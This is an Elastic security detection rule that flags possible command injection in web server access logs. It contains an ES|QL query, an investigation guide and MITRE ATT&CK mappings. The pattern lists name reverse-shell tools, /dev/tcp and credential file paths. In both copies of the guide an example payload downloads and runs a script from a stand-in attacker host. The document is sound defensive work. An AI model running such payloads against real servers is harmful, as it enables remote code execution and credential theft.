Web Server Potential Command Injection Request

This rule detects potential command injection attempts via web server requests by identifying URLs that contain suspicious patterns commonly associated with command execution payloads. Attackers may exploit vulnerabilities in web applications to inject and execute arbitrary commands on the server, often using interpreters like Python, Perl, Ruby, PHP, or shell commands. By monitoring for these indicators in web traffic, security teams can identify and respond to potential threats early.

Elastic rule (View on GitHub)

  1[metadata]
  2creation_date = "2025/11/19"
  3integration = ["nginx", "apache", "apache_tomcat", "iis", "traefik"]
  4maturity = "production"
  5updated_date = "2026/09/18"
  6
  7[rule]
  8author = ["Elastic"]
  9description = """
 10This rule detects potential command injection attempts via web server requests by identifying URLs that contain
 11suspicious patterns commonly associated with command execution payloads. Attackers may exploit vulnerabilities in web
 12applications to inject and execute arbitrary commands on the server, often using interpreters like Python, Perl, Ruby,
 13PHP, or shell commands. By monitoring for these indicators in web traffic, security teams can identify and respond to
 14potential threats early.
 15"""
 16from = "now-11m"
 17interval = "10m"
 18language = "esql"
 19license = "Elastic License v2"
 20name = "Web Server Potential Command Injection Request"
 21note = """ ## Triage and analysis
 22
 23> **Disclaimer**:
 24> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
 25
 26### Investigating Web Server Potential Command Injection Request
 27
 28This rule flags web requests whose URLs embed command-execution payloads—interpreter flags, shell invocations, netcat reverse shells, /dev/tcp, base64, credential file paths, downloaders, and suspicious temp or cron paths. It matters because attackers use low-volume, successful (200) requests to trigger server-side command injection and gain persistence or control without obvious errors. Example: a crafted query executes bash -c 'wget http://attacker/rev.sh -O /tmp/r; chmod +x /tmp/r; /tmp/r' from the web app, yielding a 200 while dropping and running a payload.
 29
 30### Possible investigation steps
 31
 32- Pull the raw HTTP request or PCAP, repeatedly URL-decode and base64-decode parameters, and extract shell metacharacters, commands, IP:port pairs, file paths, and download URLs to infer execution intent.
 33- Time-correlate the request with host telemetry for web-server-owned child processes, file writes in /tmp, /dev/shm, or web roots, cron modifications, and new outbound connections from the same host.
 34- Pivot on the source IP and user-agent to find related requests across other hosts/endpoints, identify scan-to-exploit sequencing and success patterns, and enact blocking or rate limiting if malicious.
 35- Map the targeted route to its backend handler and review code/config to see if user input reaches exec/system/os.popen, templating/deserialization, or shell invocations, then safely reproduce in staging to validate exploitability.
 36- If the payload references external indicators, search DNS/proxy/firewall telemetry for matching egress, retrieve and analyze any downloaded artifacts, and hunt for the same indicators across the fleet.
 37
 38### False positive analysis
 39
 40- A documentation or code-rendering page that echoes command-like strings from query parameters (e.g., "bash -c", "python -c", "curl", "/etc/passwd") returns 200 while merely displaying text, so the URL contains payload keywords without any execution.
 41- A low-volume developer or QA test to a sandbox route includes path or query values like "/dev/tcp/", "nc 10.0.0.1 4444", "busybox", or "chmod +x" to validate input handling, the server returns 200 and the rule triggers despite no server-side execution path consuming those parameters.
 42
 43### Response and remediation
 44
 45- Block the offending source IPs and User-Agents at the WAF/reverse proxy, add virtual patches to drop URLs containing 'bash -c', '/dev/tcp', 'base64 -d', 'curl' or 'nc', and remove the targeted route from the load balancer until verified safe.
 46- Isolate the impacted host from the network (at minimum egress) if the web service spawns child processes like bash/sh/python -c, creates files in /tmp or /dev/shm, modifies /etc/cron.*, or opens outbound connections to an IP:port embedded in the request.
 47- Acquire volatile memory and preserve access/error logs and any downloaded script before cleanup, then terminate malicious child processes owned by nginx/httpd/tomcat/w3wp, delete dropped artifacts (e.g., /tmp/*, /dev/shm/*, suspicious files in the webroot), and revert cron/systemd or SSH key changes.
 48- Rotate credentials and tokens if /etc/passwd, /etc/shadow, or ~/.ssh paths were targeted, rebuild the host or container from a known-good image, patch the application and dependencies, and validate clean startup with outbound traffic restricted to approved destinations.
 49- Immediately escalate to the incident commander and legal/privacy if remote command execution is confirmed (evidence: web-server-owned 'bash -c' or 'python -c' executed, curl/wget download-and-execute, or reverse shell to an external IP:port) or if sensitive data exposure is suspected.
 50- Harden by enforcing strict input validation, disabling shell/exec functions in the runtime (e.g., PHP disable_functions and no shell-outs in templates), running under least privilege with noexec,nodev /tmp and a read-only webroot, restricting egress by policy, and deploying WAF rules and host sensors to detect these strings and cron/webshell creation.
 51"""
 52risk_score = 21
 53rule_id = "f3ac6734-7e52-4a0d-90b7-6847bf4308f2"
 54severity = "low"
 55tags = [
 56    "Domain: Web",
 57    "Use Case: Threat Detection",
 58    "Tactic: Reconnaissance",
 59    "Tactic: Persistence",
 60    "Tactic: Execution",
 61    "Tactic: Credential Access",
 62    "Tactic: Command and Control",
 63    "Data Source: Nginx",
 64    "Data Source: Apache",
 65    "Data Source: Apache Tomcat",
 66    "Data Source: IIS",
 67    "Data Source: Traefik",
 68    "Resources: Investigation Guide",
 69    "Noise: Medium",
 70    "Performance: Fast",
 71    "Threat: Web Shell",
 72    "Threat: Web Application Attack",
 73    "Rule Type: ES|QL",
 74    "Service: Nginx",
 75    "Service: IIS",
 76    "Service: Apache Tomcat",
 77    "Service: Apache HTTP Server",
 78]
 79timestamp_override = "event.ingested"
 80type = "esql"
 81query = '''
 82from logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*, logs-traefik.access-*
 83| where
 84    // Limit to 200 response code to reduce noise
 85    http.response.status_code == 200
 86
 87| eval Esql.url_original_to_lower = to_lower(url.original)
 88
 89| eval Esql.contains_interpreter = case(Esql.url_original_to_lower like "*python* -c*" or Esql.url_original_to_lower like "*perl* -e*" or Esql.url_original_to_lower like "*ruby* -e*" or Esql.url_original_to_lower like "*ruby* -rsocket*" or Esql.url_original_to_lower like "*lua* -e*" or Esql.url_original_to_lower like "*php* -r*" or Esql.url_original_to_lower like "*node* -e*", 1, 0)
 90| eval Esql.contains_shell = case(Esql.url_original_to_lower like "*/bin/bash*" or Esql.url_original_to_lower like "*bash*-c*" or Esql.url_original_to_lower like "*/bin/sh*" or Esql.url_original_to_lower rlike "*sh.{1,2}-c*", 1, 0)
 91| eval Esql.contains_nc = case(Esql.url_original_to_lower like "*netcat*" or Esql.url_original_to_lower like "*ncat*" or Esql.url_original_to_lower rlike """.*nc.{1,2}[0-9]{1,3}(\.[0-9]{1,3}){3}.{1,2}[0-9]{1,5}.*""" or Esql.url_original_to_lower like "*nc.openbsd*" or Esql.url_original_to_lower like "*nc.traditional*" or Esql.url_original_to_lower like "*socat*", 1, 0)
 92| eval Esql.contains_devtcp = case(Esql.url_original_to_lower like "*/dev/tcp/*" or Esql.url_original_to_lower like "*/dev/udp/*", 1, 0)
 93| eval Esql.contains_helpers = case((Esql.url_original_to_lower like "*/bin/*" or Esql.url_original_to_lower like "*/usr/bin/*") and (Esql.url_original_to_lower like "*mkfifo*" or Esql.url_original_to_lower like "*nohup*" or Esql.url_original_to_lower like "*setsid*" or Esql.url_original_to_lower like "*busybox*"), 1, 0)
 94| eval Esql.contains_sus_cli = case(Esql.url_original_to_lower like "*import*pty*spawn*" or Esql.url_original_to_lower like "*import*subprocess*call*" or Esql.url_original_to_lower like "*tcpsocket.new*" or Esql.url_original_to_lower like "*tcpsocket.open*" or Esql.url_original_to_lower like "*io.popen*" or Esql.url_original_to_lower like "*os.execute*" or Esql.url_original_to_lower like "*fsockopen*", 1, 0)
 95| eval Esql.contains_privileges = case(Esql.url_original_to_lower like "*chmod*+x", 1, 0)
 96| eval Esql.contains_downloader = case(Esql.url_original_to_lower like "*curl *" or Esql.url_original_to_lower like "*wget *" , 1, 0)
 97| eval Esql.contains_file_read_keywords = case(Esql.url_original_to_lower like "*/etc/shadow*" or Esql.url_original_to_lower like "*/etc/passwd*" or Esql.url_original_to_lower like "*/root/.ssh/*" or Esql.url_original_to_lower like "*/home/*/.ssh/*" or Esql.url_original_to_lower like "*~/.ssh/*" or Esql.url_original_to_lower like "*/proc/self/environ*", 1, 0)
 98| eval Esql.contains_base64_cmd = case(Esql.url_original_to_lower like "*base64*-d*" or Esql.url_original_to_lower like "*echo*|*base64*", 1, 0)
 99| eval Esql.contains_suspicious_path = case(Esql.url_original_to_lower like "*/tmp/*" or Esql.url_original_to_lower like "*/var/tmp/*" or Esql.url_original_to_lower like "*/dev/shm/*" or Esql.url_original_to_lower like "*/root/*" or Esql.url_original_to_lower like "*/home/*/*" or Esql.url_original_to_lower like "*/var/www/*" or Esql.url_original_to_lower like "*/etc/cron.*/*", 1, 0)
100
101| eval Esql.any_payload_keyword = case(
102    Esql.contains_interpreter == 1 or Esql.contains_shell == 1 or Esql.contains_nc == 1 or Esql.contains_devtcp == 1 or
103    Esql.contains_helpers == 1 or Esql.contains_sus_cli == 1 or Esql.contains_privileges == 1 or Esql.contains_downloader == 1 or
104    Esql.contains_file_read_keywords == 1 or Esql.contains_base64_cmd == 1 or Esql.contains_suspicious_path == 1, 1, 0)
105
106| keep
107    @timestamp,
108    Esql.url_original_to_lower,
109    Esql.any_payload_keyword,
110    Esql.contains_interpreter,
111    Esql.contains_shell,
112    Esql.contains_nc,
113    Esql.contains_devtcp,
114    Esql.contains_helpers,
115    Esql.contains_sus_cli,
116    Esql.contains_privileges,
117    Esql.contains_downloader,
118    Esql.contains_file_read_keywords,
119    Esql.contains_base64_cmd,
120    Esql.contains_suspicious_path,
121    source.ip,
122    destination.ip,
123    agent.id,
124    http.request.method,
125    http.response.status_code,
126    user_agent.original,
127    agent.name,
128    data_stream.dataset,
129    data_stream.namespace
130
131| stats
132    Esql.event_count = count(),
133    Esql.url_path_count_distinct = count_distinct(Esql.url_original_to_lower),
134
135    // General fields
136
137    Esql.agent_name_values = values(agent.name),
138    Esql.agent_id_values = values(agent.id),
139    Esql.url_path_values = values(Esql.url_original_to_lower),
140    Esql.http.response.status_code_values = values(http.response.status_code),
141    Esql.user_agent_original_values = values(user_agent.original),
142    Esql.data_stream_dataset_values = values(data_stream.dataset),
143    Esql.data_stream_namespace_values = values(data_stream.namespace),
144
145    // Rule Specific fields
146    Esql.any_payload_keyword_max = max(Esql.any_payload_keyword),
147    Esql.contains_interpreter_values = values(Esql.contains_interpreter),
148    Esql.contains_shell_values = values(Esql.contains_shell),
149    Esql.contains_nc_values = values(Esql.contains_nc),
150    Esql.contains_devtcp_values = values(Esql.contains_devtcp),
151    Esql.contains_helpers_values = values(Esql.contains_helpers),
152    Esql.contains_sus_cli_values = values(Esql.contains_sus_cli),
153    Esql.contains_privileges_values = values(Esql.contains_privileges),
154    Esql.contains_downloader_values = values(Esql.contains_downloader),
155    Esql.contains_file_read_keywords_values = values(Esql.contains_file_read_keywords),
156    Esql.contains_base64_cmd_values = values(Esql.contains_base64_cmd),
157    Esql.contains_suspicious_path_values = values(Esql.contains_suspicious_path)
158
159    by source.ip, agent.id
160
161| where
162    // Filter for potential command injection attempts with low event counts to reduce false positives
163    Esql.any_payload_keyword_max == 1 and Esql.event_count < 5
164'''
165
166[[rule.threat]]
167framework = "MITRE ATT&CK"
168
169[[rule.threat.technique]]
170id = "T1505"
171name = "Server Software Component"
172reference = "https://attack.mitre.org/techniques/T1505/"
173
174[[rule.threat.technique.subtechnique]]
175id = "T1505.003"
176name = "Web Shell"
177reference = "https://attack.mitre.org/techniques/T1505/003/"
178
179[rule.threat.tactic]
180id = "TA0003"
181name = "Persistence"
182reference = "https://attack.mitre.org/tactics/TA0003/"
183
184[[rule.threat]]
185framework = "MITRE ATT&CK"
186
187[[rule.threat.technique]]
188id = "T1059"
189name = "Command and Scripting Interpreter"
190reference = "https://attack.mitre.org/techniques/T1059/"
191
192[[rule.threat.technique.subtechnique]]
193id = "T1059.004"
194name = "Unix Shell"
195reference = "https://attack.mitre.org/techniques/T1059/004/"
196
197[[rule.threat.technique.subtechnique]]
198id = "T1059.006"
199name = "Python"
200reference = "https://attack.mitre.org/techniques/T1059/006/"
201
202[[rule.threat.technique.subtechnique]]
203id = "T1059.011"
204name = "Lua"
205reference = "https://attack.mitre.org/techniques/T1059/011/"
206
207[rule.threat.tactic]
208id = "TA0002"
209name = "Execution"
210reference = "https://attack.mitre.org/tactics/TA0002/"
211
212[[rule.threat]]
213framework = "MITRE ATT&CK"
214
215[[rule.threat.technique]]
216id = "T1071"
217name = "Application Layer Protocol"
218reference = "https://attack.mitre.org/techniques/T1071/"
219
220[[rule.threat.technique]]
221id = "T1105"
222name = "Ingress Tool Transfer"
223reference = "https://attack.mitre.org/techniques/T1105/"
224
225[rule.threat.tactic]
226id = "TA0011"
227name = "Command and Control"
228reference = "https://attack.mitre.org/tactics/TA0011/"
229
230[[rule.threat]]
231framework = "MITRE ATT&CK"
232
233[[rule.threat.technique]]
234id = "T1595"
235name = "Active Scanning"
236reference = "https://attack.mitre.org/techniques/T1595/"
237
238[[rule.threat.technique.subtechnique]]
239id = "T1595.002"
240name = "Vulnerability Scanning"
241reference = "https://attack.mitre.org/techniques/T1595/002/"
242
243[[rule.threat.technique.subtechnique]]
244id = "T1595.003"
245name = "Wordlist Scanning"
246reference = "https://attack.mitre.org/techniques/T1595/003/"
247
248[rule.threat.tactic]
249id = "TA0043"
250name = "Reconnaissance"
251reference = "https://attack.mitre.org/tactics/TA0043/"
252
253[[rule.threat]]
254framework = "MITRE ATT&CK"
255
256[[rule.threat.technique]]
257id = "T1003"
258name = "OS Credential Dumping"
259reference = "https://attack.mitre.org/techniques/T1003/"
260
261[[rule.threat.technique.subtechnique]]
262id = "T1003.008"
263name = "/etc/passwd and /etc/shadow"
264reference = "https://attack.mitre.org/techniques/T1003/008/"
265
266[[rule.threat.technique]]
267id = "T1552"
268name = "Unsecured Credentials"
269reference = "https://attack.mitre.org/techniques/T1552/"
270
271[[rule.threat.technique.subtechnique]]
272id = "T1552.001"
273name = "Credentials In Files"
274reference = "https://attack.mitre.org/techniques/T1552/001/"
275
276[rule.threat.tactic]
277id = "TA0006"
278name = "Credential Access"
279reference = "https://attack.mitre.org/tactics/TA0006/"
280
281[[rule.threat]]
282framework = "MITRE ATT&CK"
283
284[[rule.threat.technique]]
285id = "T1140"
286name = "Deobfuscate/Decode Files or Information"
287reference = "https://attack.mitre.org/techniques/T1140/"
288
289[rule.threat.tactic]
290id = "TA0005"
291name = "Defense Evasion"
292reference = "https://attack.mitre.org/tactics/TA0005/"
293
294[[rule.threat]]
295framework = "MITRE ATT&CK"
296
297[[rule.threat.technique]]
298id = "T1190"
299name = "Exploit Public-Facing Application"
300reference = "https://attack.mitre.org/techniques/T1190/"
301
302[rule.threat.tactic]
303id = "TA0001"
304name = "Initial Access"
305reference = "https://attack.mitre.org/tactics/TA0001/"

Triage and analysis

Disclaimer: This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.

Investigating Web Server Potential Command Injection Request

This rule flags web requests whose URLs embed command-execution payloads—interpreter flags, shell invocations, netcat reverse shells, /dev/tcp, base64, credential file paths, downloaders, and suspicious temp or cron paths. It matters because attackers use low-volume, successful (200) requests to trigger server-side command injection and gain persistence or control without obvious errors. Example: a crafted query executes bash -c 'wget http://attacker/rev.sh -O /tmp/r; chmod +x /tmp/r; /tmp/r' from the web app, yielding a 200 while dropping and running a payload.

Possible investigation steps

  • Pull the raw HTTP request or PCAP, repeatedly URL-decode and base64-decode parameters, and extract shell metacharacters, commands, IP:port pairs, file paths, and download URLs to infer execution intent.
  • Time-correlate the request with host telemetry for web-server-owned child processes, file writes in /tmp, /dev/shm, or web roots, cron modifications, and new outbound connections from the same host.
  • Pivot on the source IP and user-agent to find related requests across other hosts/endpoints, identify scan-to-exploit sequencing and success patterns, and enact blocking or rate limiting if malicious.
  • Map the targeted route to its backend handler and review code/config to see if user input reaches exec/system/os.popen, templating/deserialization, or shell invocations, then safely reproduce in staging to validate exploitability.
  • If the payload references external indicators, search DNS/proxy/firewall telemetry for matching egress, retrieve and analyze any downloaded artifacts, and hunt for the same indicators across the fleet.

False positive analysis

  • A documentation or code-rendering page that echoes command-like strings from query parameters (e.g., "bash -c", "python -c", "curl", "/etc/passwd") returns 200 while merely displaying text, so the URL contains payload keywords without any execution.
  • A low-volume developer or QA test to a sandbox route includes path or query values like "/dev/tcp/", "nc 10.0.0.1 4444", "busybox", or "chmod +x" to validate input handling, the server returns 200 and the rule triggers despite no server-side execution path consuming those parameters.

Response and remediation

  • Block the offending source IPs and User-Agents at the WAF/reverse proxy, add virtual patches to drop URLs containing 'bash -c', '/dev/tcp', 'base64 -d', 'curl' or 'nc', and remove the targeted route from the load balancer until verified safe.
  • Isolate the impacted host from the network (at minimum egress) if the web service spawns child processes like bash/sh/python -c, creates files in /tmp or /dev/shm, modifies /etc/cron.*, or opens outbound connections to an IP:port embedded in the request.
  • Acquire volatile memory and preserve access/error logs and any downloaded script before cleanup, then terminate malicious child processes owned by nginx/httpd/tomcat/w3wp, delete dropped artifacts (e.g., /tmp/, /dev/shm/, suspicious files in the webroot), and revert cron/systemd or SSH key changes.
  • Rotate credentials and tokens if /etc/passwd, /etc/shadow, or ~/.ssh paths were targeted, rebuild the host or container from a known-good image, patch the application and dependencies, and validate clean startup with outbound traffic restricted to approved destinations.
  • Immediately escalate to the incident commander and legal/privacy if remote command execution is confirmed (evidence: web-server-owned 'bash -c' or 'python -c' executed, curl/wget download-and-execute, or reverse shell to an external IP:port) or if sensitive data exposure is suspected.
  • Harden by enforcing strict input validation, disabling shell/exec functions in the runtime (e.g., PHP disable_functions and no shell-outs in templates), running under least privilege with noexec,nodev /tmp and a read-only webroot, restricting egress by policy, and deploying WAF rules and host sensors to detect these strings and cron/webshell creation.

Related rules

to-top